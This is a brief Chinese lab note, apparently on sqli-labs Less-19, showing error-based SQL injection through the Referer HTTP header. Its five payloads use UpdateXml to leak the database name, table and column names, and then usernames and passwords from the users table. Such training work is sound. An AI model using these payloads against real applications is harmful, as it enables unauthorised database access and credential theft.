这个和less18一样，都是基于header的注入
这次的字段是referer
Referer: 123‘ AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1)#
Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),0x7e),1),1)#
Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1),0x7e),1),1)#
Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1),1)#
Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1),1)#
